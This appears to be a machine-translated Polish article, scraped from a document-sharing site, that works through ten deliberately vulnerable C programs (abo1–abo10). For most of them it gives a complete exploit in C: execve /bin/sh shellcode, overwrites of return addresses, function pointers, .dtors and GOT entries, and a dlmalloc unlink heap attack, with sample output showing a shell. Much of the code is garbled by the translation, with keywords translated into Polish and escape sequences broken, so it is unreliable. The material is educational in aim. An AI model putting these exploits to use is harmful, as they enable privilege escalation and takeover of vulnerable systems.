• Nie Znaleziono Wyników

Luki w kodzie - Zaawansowany Buffer Overflows

N/A
N/A
Protected

Academic year: 2022

Share "Luki w kodzie - Zaawansowany Buffer Overflows"

Copied!
30
0
0

Pełen tekst

(1)

Luki w kodzie - Zaawansowany Buffer Overflows

Wprowadzenie

W tym artykule podkreślimy niektóre z najczęstszych błędów popełnianych przez programistów w ich oprogramowaniu napisanym w języku programowania C. Luki, które zostaną omówione, to zaawansowane przepełnienie bufora (ABO), przedstawione jako dziesięć przykładów . Postaramy się dokładnie zlokalizować luki w kodzie, dlaczego tego typu błędy są niebezpieczne i dostarczyć exploit dla każdej znalezionej luki. Należy wziąć pod uwagę, że środowisko, w którym przeprowadziliśmy nasze testy, to serwer Linux Slackware 8.0 (IA32) z kompilatorem GNU GCC 2.95.3:

Zakładamy, że czytelnik ma doświadczenie w języku programowania C i ma podstawową wiedzę na temat przepełnień stosu i sterty, GOT itp. W tym dokumencie nie będziemy dostarczać żadnych informacji o tym, jak działają te rodzaje eksploatacji.

Analiza abo1.c

Kod źródłowy tego przykładu to:

/ * abo1.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * Głupi przykład, aby dać się poznać ... * /

int main (int argv, char ** argc) { char buf [256];

strcpy (buf, argc [1]);

}

Jest to klasyczny przykład przepełnienia bufora stosu. Ten kod jest bardzo łatwy w użyciu, wystarczy go uruchomić. Jednak użyjemy go do przedstawienia techniki znanej od jakiegoś czasu, ale wydaje się, że niewielu jej używa. Zróbmy debugowanie:

(2)

Najpierw na stosie jest odkładany adres zwrotny. Następnie zapisany ESP jest odkładany.

Następnie lokalna zmienna buf [256] jest umieszczana na stosie. Naszym celem jest nadpisanie adresu zwrotnego. Bufor dostarczony do abo1, czyli o długości co najmniej 256 + 4 + 4 = 264 bajty, może to zrobić. Ostatnie cztery bajty, które nadpisują adres zwrotny) muszą zawierać adres kodu powłoki. Występuje jednak mały problem z adresem kodu powłoki. Większość exploitów umieszczałaby go w tym samym buforze, który nadpisałby adres zwrotny. W innych okolicznościach adres kodu powłoki będzie się różnić ze względu na więcej lub mniej zmiennych środowiskowych lub argumentów, które są przesyłane na stos, gdy uruchamiany jest program podatny na atak. Jeśli docelowym systemem jest Linux i umieszczamy łańcuch shellcode jako ostatnią zmienną środowiskową, jego adres można łatwo obliczyć:

shellcode_addr = 0xbffffffa - strlen (name_of_program) - strlen (shellcode) Spójrz na schemat stosu . Powinno to nieco załagodzić sytuację.

Oto rzeczywisty exploit dla abo1.c / *

** exp1.c

(3)

** Kodowany przez CoreSecurity

** /

#include <string.h>

#include <unistd.h>

#define BUFSIZE 264 + 1 / * 24 bajty kodu powłoki * / char shellcode [] =

"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69"

"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(void) {

char *env[3] = {shellcode, NULL};

char evil_buffer[BUFSIZE];

char *p;

/* Calculating address of shellcode */

int ret = 0xbffffffa - strlen(shellcode) - strlen("/home/user/gera/abo1");

/* Constructing the buffer */

p = evil_buffer;

memset(p, 'A', 260); // Some junk p += 260;

*((void **)p) = (void *) (ret);

p += 4;

*p= '\0';

execle("/home/user/gera/abo1", "abo1", evil_buffer, NULL, env);

}

Analiza abo2.c

Kod źródłowy tego przykładu to:

/ * abo2.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * /

(4)

/ * To jest podstępny przykład, abyś myślał *

* i udzielimy ci pomocy na następnym * / int main (int argv, char ** argc) {

char buf [256];

strcpy (buf, argc [1]);

wyjście (1);

}

Pozwala na debugowanie i zobaczenie, jaka jest różnica od abo1.c.

Nawet po podaniu wystarczająco długiego łańcucha, który nadpisze adres zwrotny, program wychodzi normalnie. Wynika to z wywołania metody exit() tuż po wywołaniu metody strcpy (). Jeśli nie było takiego połączenia, program wykonałby instrukcje pod 0x8048461 i 0x8048462. Doprowadziłoby to do wykonania instrukcji, do których wskazuje adres powrotu (który kontrolujemy). Jednak instrukcje po wywołaniu exit () nie są wykonywane, ponieważ wywołanie to zajmuje się zakończeniem programu. Możliwe jest jednak wywołanie lokalnego

(5)

ataku DoS podczas dostarczania wystarczająco długiego łańcucha, który wypełni cały stos aż do adresu 0xbfffffff.

Analiza abo3.c

Kod źródłowy tego przykładu to:

/ * abo3.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * To przygotuje cię do następnego kroku * /

int main (int argv, char ** argc) { system zewnętrzny, stawia;

void (* fn) (char *) = (void (*) (char *)) i system;

char buf [256];

fn = (void (*) (char *)) & puts;

strcpy (buf, argc [1]);

fn (argc [2]);

wyjście (1);

}

Na pierwszy rzut oka wydaje się dość zaciemnione. W tym przykładzie jako argumenty brane są dwa łańcuchy. Pierwszy jest kopiowany w buforze, a drugi jest drukowany na standardowe wyjście. Jeśli pierwszy argument jest dłuższy niż 256 bajtów, nadpisze coś. Debugowanie pokaże dokładnie co.

(6)
(7)

Aby skutecznie wykorzystać ten przykład, atakujący nie może zezwolić na wykonanie

wywołanie systemowe exit () pod adresem 0x080484dc. Ponieważ adres funkcji fn () jest pchany na stosie (przy 0x080484a1) tuż przed buf [256] można go nadpisać i będzie wykonywany przy 0x080484d2 przed exit (). Ten exploit może wyglądać jak

wykorzystać z pierwszego przykładu. Jednak istnieje jedna główna różnica, którą należy zauważyć. Tutaj przepełniamy adres funkcji wykonywanej w przepływie programu, a nie adresu zwrotnego.

Exploit może wyglądać tak:

/ *

** exp3.c

** Kodowany przez CoreSecurity

** /

#include <string.h>

#include <unistd.h>

#define BUFSIZE 261

/ * 24 bajty kodu powłoki * / char shellcode [] =

"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69"

"\ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ x99 \ xb0 \ x0b \ xcd \ x80";

int main (void) {

char * env [3] = {shellcode, NULL};

(8)

char evil_buffer [BUFSIZE];

char * p;

/ * Obliczanie adresu kodu powłoki * / int ret = 0xbffffffa - strlen (shellcode) - strlen ("/ home / user / gera / abo3");

/ * Tworzenie bufora * / p = evil_buffer;

memset (p, "B", 256); // Niektóre śmieci p + = 256;

* ((void **) p) = (void *) (ret);

p + = 4;

* p = '\ 0';

/ * Dwa argumenty są przekazywane do podatnego programu * /

execle ("/ home / user / gera / abo3", "abo3", evil_buffer, "A", NULL, env);

}

Analiza abo4.c

Kod źródłowy tego przykładu to:

/ * abo4.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * Po tym, następny to po prostu Eureka! z dala * /

system zewnętrzny, stawia;

void (* fn) (char *) = (void (*) (char *)) i system;

int main (int argv, char ** argc) {

char * pbuf = malloc (strlen (argc [2]) + 1);

char buf [256];

fn = (void (*) (char *)) & puts;

strcpy (buf, argc [1]);

strcpy (pbuf, argc [2]);

fn (argc [3]);

(9)

while (1);

}

Z punktu widzenia napastników program jest taki sam jak w poprzednim przykładzie. Różnica polega jednak na tym, że adres fn() nie znajduje się już na stosie. Ponieważ funkcja ta jest zadeklarowana przed main(), jej adres znajduje się teraz dokładnie w sekcji .data.

(10)
(11)
(12)

Przykład segfaulted, ponieważ nadpisaliśmy (za pomocą pierwszego wskaźnika strcpy ()) dynamicznie przydzielany bufor pbuf (zdarza się, że jest tuż przed buf [256]). Teraz atakujący może kontrolować drugą funkcję strcpy (), aby skopiować dane z argc [2] gdziekolwiek chce.

Najprawdopodobniej wybierze przepełnienie adresu fn () - 0x080495cc. Wskazuje on puts () (patrz pamięć 0x08048384). Atakujący będzie musiał to zrobić, aby wskazać jego shellcode w pamięci.

Exploit może wyglądać tak:

/ *

** exp4.c

** Kodowany przez CoreSecurity

* /

#include <string.h>

#include <unistd.h>

#define BUFSIZE1 261

#define BUFSIZE2 5

#define FN_ADDRESS 0x080495cc / * Adres fn () * /

(13)

/ * 24 bajty kodu powłoki * / char shellcode [] =

"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69"

"\ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ x99 \ xb0 \ x0b \ xcd \ x80";

int main (void) {

char evil_buffer1 [BUFSIZE1];

char zła_buffer2 [BUFSIZE2];

char * env [3] = {shellcode, NULL};

char * p;

/ * Obliczanie adresu kodu powłoki * / int ret = 0xbffffffa - strlen (shellcode) - strlen ("/ home / user / gera / abo4");

/ * Zbudowanie pierwszego bufora * / p = evil_buffer1;

memset (p, "A", 256); // Niektóre śmieci p + = 256;

* ((void **) p) = (void *) (FN_ADDRESS);

p + = 4;

* p = '\ 0';

/ * Konstruowanie drugiego bufora * / p = evil_buffer2;

* ((void **) p) = (void *) (ret);

p + = 4;

* p = '\ 0';

execle ("/ home / gera / user / abo4", "abo4", evil_buffer1, evil_buffer2,

"A", NULL, env);

}

Analiza abo5.c

Kod źródłowy tego przykładu to:

(14)

/ * abo5.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * Bierzesz niebieską pigułkę, budzisz się w swoim łóżku, *

* i wierzysz w to, w co chcesz wierzyć *

* Bierzesz czerwoną pigułkę,

* i pokażę ci, jak głęboko zagłębia się królik * / int main (int argv, char ** argc) {

char * pbuf = malloc (strlen (argc [2]) + 1);

char buf [256];

strcpy (buf, argc [1]);

dla (; * pbuf ++ = * (argc [2] ++););

wyjście (1);

}

Dostarczony bufor o wielkości 260 bajtów nadpisze * pbuf. W ten sposób atakujący ma teraz kontrolę obu argumentów strcpy (). Pytanie brzmi: "Co można zastąpić?" Ten przykład nie ma funkcji wewnętrznej (w przeciwieństwie do poprzedniej). Możliwymi rozwiązaniami są trzy - adres sekcji .dtors (ten destruktor jest wywoływany za każdym razem, gdy program jest kończony, bez względu na exit (), return () itd.), Adres funkcji exit () w tabeli globalnego offsetu i adres z __deregister_frame_info w GOT (ponownie wywołana przy zakończeniu programu).

Wszystkie trzy powinny działać. Adresy w GOT to:

Adres sekcji .dtors, którą można nadpisać, to:

(15)

Adres, który chcemy zastąpić (w sekcji .dtors) to 0x08049698. Schemat stosu jest prawie taki sam, jak w poprzednim przykładzie, więc tutaj go nie dostaniemy. Exploit może wyglądać tak:

/ *

** exp5.c

** Kodowany przez CoreSecurity - info@core-sec.com

* /

#include <string.h>

#include <unistd.h>

#define BUFSIZE1 261

#define BUFSIZE2 5

#define DTORS_ADDRESS 0x08049698 / * Adres sekcji .dtors * /

(16)

// # define DEREG_FRAME 0x080496b0 / * Adres __deregister_frame_info w GOT * /

// # define EXIT_ADDRESS 0x080496bc / * Adres wyjścia exit () w GOT * / / * 24 bajty kodu powłoki * /

char shellcode [] =

"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69"

"\ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ x99 \ xb0 \ x0b \ xcd \ x80";

int main (void) {

char evil_buffer1 [BUFSIZE1];

char zła_buffer2 [BUFSIZE2];

char * env [3] = {shellcode, NULL};

char * p;

/ * Obliczanie adresu kodu powłoki * / int ret = 0xbffffffa - strlen (shellcode) - strlen ("/ home / user / gera / abo5");

/ * Zbudowanie pierwszego bufora * / p = evil_buffer1;

memset (p, "A", 256); // Niektóre śmieci p + = 256;

* ((void **) p) = (void *) (DTORS_ADDRESS);

p + = 4;

* p = '\ 0';

/ * Konstruowanie drugiego bufora * / p = evil_buffer2;

* ((void **) p) = (void *) (ret);

p + = 4;

* p = '\ 0';

execle ("/ home / user / gera / abo5", "abo5", evil_buffer1, evil_buffer2, NULL, env);

(17)

}

Analiza abo6.c

Kod źródłowy tego przykładu to:

/ * abo6.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * wróć do mnie kochanie * /

int main (int argv, char ** argc) {

char * pbuf = malloc (strlen (argc [2]) + 1);

char buf [256];

strcpy (buf, argc [1]);

strcpy (pbuf, argc [2]);

while (1);

}

Bardzo podobny do abo5.c. Ponownie atakujący może mieć pełną kontrolę nad drugą funkcją strcpy (), ale co powinien on nadpisać? Ten przykład nie ma wewnętrznych funkcji po drugim strcpy (), ani żadnej funkcji systemowej (nie jest możliwe nadpisanie wpisu tablicy GOT).

(18)

Przykład nawet się nie kończy - pętla while () sprawia, że działa ona wiecznie (nie jest możliwe.

Nadpisywanie lekarzy). Jedyną szansą atakującego jest nadpisanie adresu zwrotnego (znajdującego się po buf [256]), który jest pchany na stos, gdy wykonywany jest drugi plik strcpy (). W ten sposób, po zakończeniu, przykład powinien wykonać kod pod adresem zwrotnym. Technikę tę można również zastosować do niektórych z powyższych przykładów.

Jest to jednak trudniejsze do zrealizowania, ponieważ pozycja adresu zwrotnego w stosie jest różna, ponieważ różne wartości zmiennych środowiskowych są pchane. Zwróć uwagę, że adres przesunięcia i powrotu następnego exploita może wymagać pewnych ulepszeń.

/*

** exp6.c

** Coded by CoreSecurity - info@core-sec.com

*/

#include <string.h>

#include <unistd.h>

#define BUFSIZE1 261

#define BUFSIZE2 60 /* Offcet */

#define RETURN_ADDRESS 0xbffffc5c /* 24 bytes shellcode */

char shellcode[]=

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(void) {

char evil_buffer1[BUFSIZE1];

char evil_buffer2[BUFSIZE2];

char *env[3] = {shellcode, NULL};

char *p;

int i = 0;

/* Calculating address of shellcode */

int ret = 0xbffffffa - strlen(shellcode) - strlen("/home/user/gera/abo6");

/* Constructing first buffer */

p = evil_buffer1;

(19)

memset(p, 'A', 256); // Some junk p += 256;

*((void **)p) = (void *) (RETURN_ADDRESS);

p += 4;

*p = '\0';

/* Constructing second buffer */

p = evil_buffer2;

for(i = 0; i < BUFSIZE2/4; i++) {

*((void **)p) = (void *) (ret);

p += 4;

i++;

}

*p = '\0';

execle("/home/user/gera/abo6", "abo6", evil_buffer1, evil_buffer2, NULL, env);

}

Analiza abo7.c

Kod źródłowy tego przykładu to:

/ * abo7.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * czasami możesz, *

* czasami nie *

* o to chodzi w życiu * / char buf [256] = {1};

int main (int argv, char ** argc) { strcpy (buf, argc [1]);

}

Jest to typowy przykład pokazujący przepełnienie sterty i nadpisanie sekcji .dtors4. Nie można tego jednak zrobić z powodu wersji kompilatora. Debugowanie jest następujące:

(20)

Ponieważ buf [256] jest inicjowany przy starcie, jest on umieszczony w sekcji .data. Celem ataku jest nadpisanie sekcji .dtors. Ale jeśli to zrobi, również nadpisze sekcję .dynamiczną. Jest to ważne, ponieważ po zakończeniu programu ta sekcja zawiera dane (dynamiczne informacje o łączach), które są czytane wcześniej. Atakujący może jedynie złamać ten przykład. Oto jak wyglądają sterty, gdy program jest skompilowany ze starszą wersją GCC:

Jak widać teraz sekcja .dynamic znajduje się po GOT. W tym przypadku atakujący nadpisze tylko sekcje .eh_frame i .ctors (ważne tylko przy uruchomieniu programu), a ich wykorzystanie zakończy się sukcesem

Analiza abo8.c

Kod źródłowy tego przykładu to:

/ * abo8.c *

(21)

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / /* zauważyć różnicę */

char buf [256];

int main (int argv, char ** argc) { strcpy (buf, argc [1]);

}

To jest ten sam przykład co poprzedni. Jedyna różnica polega na tym, że buf [256] nie jest inicjowany podczas uruchamiania. W ten sposób umieszczany jest w sekcji .bss.

Tak więc bufor znajduje się w sekcji .bss nie ma nic powyżej, to może być nadpisane. Nawet jeśli ten przykład został skompilowany ze starszą wersją GCC.

Analiza abo9.c

Kod źródłowy tego przykładu to:

/ * abo9.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * zmodyfikowany przez CoreSecurity * /

/* Uwolnij swój umysł) */

/ * Nie jestem pewien, w jakich systemach operacyjnych można to zrobić * /

(22)

int main (int argv, char ** argc) { char * pbuf1 = (char *) malloc (256);

char * pbuf2 = (char *) malloc (256);

// dostaje (pbuf1);

strcpy (pbuf1, argc [1]);

bezpłatny (pbuf2);

bezpłatny (pbuf1);

}

Powyższy kod został zmodyfikowany w celu ułatwienia eksploatacji. Funkcja gets () zostaje zastąpiona przez funkcję strcpy (). Segfault występuje po uruchomieniu free (pbuf2), ponieważ strcpy () nadpisuje informacje zarządzania (nagłówek) drugiej porcji pamięci5. Zauważ, że CoreSecurity nie omawia w tym dokumencie szczegółów na temat Malloc Douga Lea. Podając argument o długości 260 bajtów, ostatnie cztery bajty nadpisują pole prev_size drugiej porcji:

(23)

Tak więc przy próbie zwolnienia () drugiej porcji, jego pole prev_size jest odczytywane i obliczany jest z niego poprzedni wskaźnik porcji. W tym przypadku 0x08049780 - 0x41414141

= 0xc6c3563f. Funkcja chunk_free () próbuje odczytać na 0xc6c3563f i oczywiście dostaje naruszenie segmentu. Celem ataku jest stworzenie fałszywego fragmentu poprzez umieszczenie ujemnej liczby (liczba dodatnia jest również możliwa do umieszczenia, ale ponieważ mała liczba zawiera co najmniej jeden bajt NULL tego wariantu jest technicznie niemożliwa do wykonania) w polu prev_size drugiej porcji. Po scaleniu tego fałszywego kawałka z prawdziwym drugim kawałkiem, procedura unlink () zamieni fałszywe porcje pól bk i fd (które kontroluje napastnika) i nadpisze dowolny adres w pamięci.

Pomocne może być tutaj trochę wyjaśnienia. Po za free() w drugim kawałku, implementacja malloc musi sprawdzić, czy dwie sąsiednie porcje są już wolne. Najpierw sprawdź poprzedni fragment (tj. konsolidacja wsteczna). Jeśli porcja jest już wolna, flaga o nazwie PREV_INUSE jest ustawiona na zero. Flaga ta znajduje się w polu wielkości na aktualnie uwolnionym fragmencie (najmniej znaczący bit pola wielkości). Jeśli ta flaga nie jest ustawiona, poprzednie i bieżące porcje muszą zostać scalone. Pozycja poprzedniego kawałka nie jest znana. Wskaźnik do bieżącego fragmentu i rozmiaru poprzedniego fragmentu oblicza go. Atakujący ustawia wartość 0xfffffffc (-4) w polu wielkości drugiej porcji, ponieważ najmniej znaczący bit powinien wynosić zero (inne ujemne wartości również mogą działać). Wartość pola prev_size jest ponownie ustawiana na 0xfffffffc (-4), a teraz poprzedni wskaźnik porcji jest obliczany w następujący sposób: 0x08049780 - (0xfffffffc) = 0x08049784 (nie 0x08049678 tak jak powinno być). Atakujący musi umieścić swój fałszywy fragment pod 0x08049784. Dwa pola (prev_size i size) w nagłówku fałszywego fragmentu nie mają znaczenia. Liczy się tylko dwa pola fd i bk, ponieważ są one zamieniane i napastnik może zastąpić dowolną pamięć. Mógłby wybrać adres funkcji free () w GOT na fd, a adres powłoki w bk. Teraz przy odłączeniu () adres kodu powłoki jest umieszczany w adresie free () w GOT. Podczas wykonywania drugiego wolnego () w tym

(24)

przykładzie program będzie szukał swojego adresu w GOT, ale wskazuje on na kod powłoki.

Więc zamiast wolnej () zostanie wykonany kod powłoki. Shellcode jest ponownie umieszczany jako ostatnia zmienna środowiskowa. Adres of free () w GOT uzyskuje się w ten sposób:

użytkownik @ CoreLabs: ~ / gera $ objdump -R ./abo9 ./abo9: format pliku elf32-i386

DYNAMICZNE REKORDY RELOKACJI WARTOŚĆ TYPU PRZESUNIĘCIE

08049658 R_386_GLOB_DAT __gmon_start__

08049640 R_386_JUMP_SLOT __register_frame_info 08049644 R_386_JUMP_SLOT malloc

08049648 R_386_JUMP_SLOT __deregister_frame_info 0804964c R_386_JUMP_SLOT __libc_start_main

08049650 R_386_JUMP_SLOT bezpłatnie 08049654 R_386_JUMP_SLOT strcpy użytkownik @ CoreLabs: ~ / gera $

Exploit automatycznie uzyskuje tę wartość:

użytkownik @ CoreLabs: ~ / gera $ gcc exp9.c -o exp9 użytkownik @ CoreLabs: ~ / gera $ ./exp9

Adres kodu powłoki w stosie to: 0xbfffffc7 free () adres w GOT to: 0x8049650

sh-2,05 $ / *

** exp9.c

** Kodowany przez CoreSecurity - info@core-sec.com

* /

#include <string.h>

#include <unistd.h>

#include <stdio.h>

#define JUNK 0xcafebabe

#define NEGATIVE_SIZE 0xfffffffc

(25)

#define OBJDUMP "/ usr / bin / objdump"

#define VICTIM "/ home / user / gera / abo9"

#define GREP "/ bin / grep"

/ * 10 bajtów skoku i 24 bajty kodu shellowego * / char shellcode [] =

"\ xeb \ x0aNNNNNOOOOO"

"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69"

"\ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ x99 \ xb0 \ x0b \ xcd \ x80";

int main () { char * p;

char evil_buffer [276 + 1]; / * 256 + 20 = 276 * / char temp_buffer [64];

char * env [3] = {shellcode, NULL};

int shellcode_addr = 0xbffffffa - strlen (shellcode) - strlen ("/ home / user / gera / abo9");

int free_addr;

FILE * f;

printf ("Adres kodu powłoki w stosie to: 0x% x \ n", nr_kodu powłoki);

sprintf (temp_buffer, "% s -R% s |% s free", OBJDUMP, VICTIM, GREP);

f = popen (temp_buffer, "r");

if (fscanf (f, "% x", & free_addr)! = 1) { pclose (f);

printf ("Błąd: nie można znaleźć wolnego adresu w GOT! \ n");

wyjście (1);

}

printf ("darmowy () adres w GOT to: 0x% x \ n", free_addr);

p = evil_buffer;

memset (p, "A", (256)); / * wyściółka * / p + = 256;

(26)

* ((void **) p) = (void *) (NEGATIVE_SIZE); / * prev_size pole drugiego kawałka * /

p + = 4;

* ((void **) p) = (void *) (NEGATIVE_SIZE); / * pole rozmiaru z druga porcja i prev_size złożone z fałszywych kawałków * / p + = 4;

* ((void **) p) = (void *) (JUNK); / * pole rozmiaru fałszywego kawałka * / p + = 4;

* ((void **) p) = (void *) (free_addr - 12); / * pole fd drugi kawałek * /

p + = 4;

* ((void **) p) = (void *) (shellcode_addr); / * pole bk drugi kawałek * /

p + = 4;

* p = '\ 0';

execle ("/ home / user / gera / abo9", "abo9", evil_buffer, NULL, env);

Analiza abo10.c

Kod źródłowy tego przykładu to:

/ * abo10.c *

* specjalnie spreparowane, by zasilać mózg gera@core-sdi.com * / / * zmodyfikowany przez CoreSecurity * /

/ * Deja-vu * / char buf [256];

int main (int argv, char ** argc) { char * pbuf = (char *) malloc (256);

// dostaje (buf);

strcpy (buf, argc [1]);

bezpłatny (pbuf);

}

(27)

Powyższy kod został ponownie zmodyfikowany w celu ułatwienia eksploatacji. Funkcja gets () zostaje zastąpiona za pomocą polecenia strcpy (). Technika wykorzystania jest bardzo podobna do tej z poprzednim przykładem. Informacje nagłówka porcji są nadpisywane, a po darmowym () dowolny adres w pamięci może zostać nadpisany. Jest to możliwe, ponieważ buf [256] graniczy z pbuf. Nie są inicjowane przy starcie i oba znajdują się w sekcji .bss. Istnieją dwie możliwości nadpisania - adres __deregister_frame_info w GOT i adres sekcji .dtors. W naszym exploicie wybieramy pierwszy.

(28)

Exploit automatycznie uzyskuje tę wartość:

użytkownik @ CoreLabs: ~ / gera $ gcc exp10.c -o exp10 użytkownik @ CoreLabs: ~ / gera $ ./exp10

Adres kodu powłoki w stosie to: 0xbfffffc6 __deregister address in GOT to: 0x80495ec sh-2.05 #

/ *

** exp10.c

** Kodowany przez CoreSecurity - info@core-sec.com

* /

#include <string.h>

#include <unistd.h>

#include <stdio.h>

#define JUNK 0xcafebabe

#define NEGATIVE_SIZE 0xfffffffc

#define OBJDUMP "/ usr / bin / objdump"

#define VICTIM "/ home / user / gera / abo10"

(29)

#define GREP "/ bin / grep"

/ * 10 bajtów skoku i 24 bajty kodu shellowego * / char shellcode [] =

"\ xeb \ x0aNNNNNOOOOO"

"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69"

"\ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ x99 \ xb0 \ x0b \ xcd \ x80";

int main () { char * p;

char evil_buffer [276 + 1]; / * 256 + 20 = 276 * / char temp_buffer [64];

char * env [3] = {shellcode, NULL};

int shellcode_addr = 0xbffffffa - strlen (shellcode) - strlen ("/ home / user / gera / abo10");

int dreg_addr;

FILE * f;

printf ("Adres kodu powłoki w stosie to: 0x% x \ n", nr_kodu powłoki);

sprintf (temp_buffer, "% s -R% s |% s deregister", OBJDUMP, VICTIM, GREP);

f = popen (temp_buffer, "r");

if (fscanf (f, "% x", & dreg_addr)! = 1) { pclose (f);

printf ("Błąd: nie można znaleźć __deregister adres w GOT \ n");

wyjście (1);

}

printf ("_ wyrejestruj adres w GOT to: 0x% x \ n", dreg_addr);

p = evil_buffer;

memset (p, "A", (256)); / * wyściółka * / p + = 256;

* ((void **) p) = (void *) (NEGATIVE_SIZE); / * pole prev_size

(30)

z drugiego kawałka * / p + = 4;

* ((void **) p) = (void *) (NEGATIVE_SIZE); / * pole rozmiaru z druga porcja i

prev_size filed

fałszywego kawałka * / p + = 4;

* ((void **) p) = (void *) (JUNK); / * pole rozmiaru z fałszywy kawałek * /

p + = 4;

* ((void **) p) = (void *) (dreg_addr - 12); / * pole fd drugi kawałek * /

p + = 4;

* ((void **) p) = (void *) (shellcode_addr); / * pole bk drugi kawałek * /

p + = 4;

* p = '\ 0';

execle ("/ home / user / gera / abo10", "abo10", evil_buffer, NULL, env);

}

Wniosek

Programiści powinni zachować szczególną ostrożność podczas pisania oprogramowania. Jak pokazuje ten artykuł, zdolny atakujący może użyć nie tak oczywistych błędów w kodzie, aby podnieść swoje przywileje i / lub uzyskać dostęp do komputera (jeśli uruchomiona jest usługa bezbronna). Pewne środki mogą oczywiście zostać podjęte - takie jak łatki na jądro dla niewykonywalnego stosu, nowsze wersje kompilatorów itp. Ale głównym działaniem, które powinno się odbyć, jest kształcenie programistów. Niech myślą nie tylko o tym, jak dodawać nowe funkcje do swoich aplikacji, ale poświęcą trochę czasu i ponownie sprawdzają kod pod kątem wszelkich niezabezpieczonych procedur. Pamiętaj, aby twój kod był jak najmniejszy. W ten sposób jest również piękniejszy.

Cytaty

Powiązane dokumenty

Prototyp funkcji → deklaracja „uprzedzająca”, (objaśnienie identyfikatora funkcji) określa tylko nazwę funkcji oraz typy zwracanej wartości i parametrów (sam nagłówek

Definicja klasy ostream jest zawarta również w pliku &lt;iostream.h&gt;. Najważniejsze metody

void ∗malloc( size_t rozmiar ); // przydział bloku o zadanej wielkosci void ∗calloc( size_t il_elementow, size_t rozmiar); // przydział tablicy void free( void ∗wskaznik);

Obiekty, elementy, pojęcia ze świata zewnętrznego muszą zostać odwzorowane danymi w programie. Dane występujące w programie stanowią uproszczony, komputerowy

Rezultatem funkcji jest wartość różna od zera, jeżeli strumień jest w pozycji końcowej, zero w przeciwnym wypadku.. Strumień jest w pozycji końcowej, jeżeli w wyniku

W przypadku wystąpienia końca pliku lub błędu, rezultatem funkcji jest liczba, potencjalnie zerowa, bezbłędnie zapisanych bloków.. size_t fwrite( void * ptr, size_t size, size_t

Dane wejściowe  informacje dostarczone do programu przez użytkownika, w celu umożliwienia wykonania algorytmu. Dane wyjściowe  są generowane przez program i

U nowszych autorów, „(pod)przestrzeń izotropowa” to taka, której pewien wektor jest izotropowy – co nie odpowiada znaczeniu słowa „izotropowy” (jednorodny we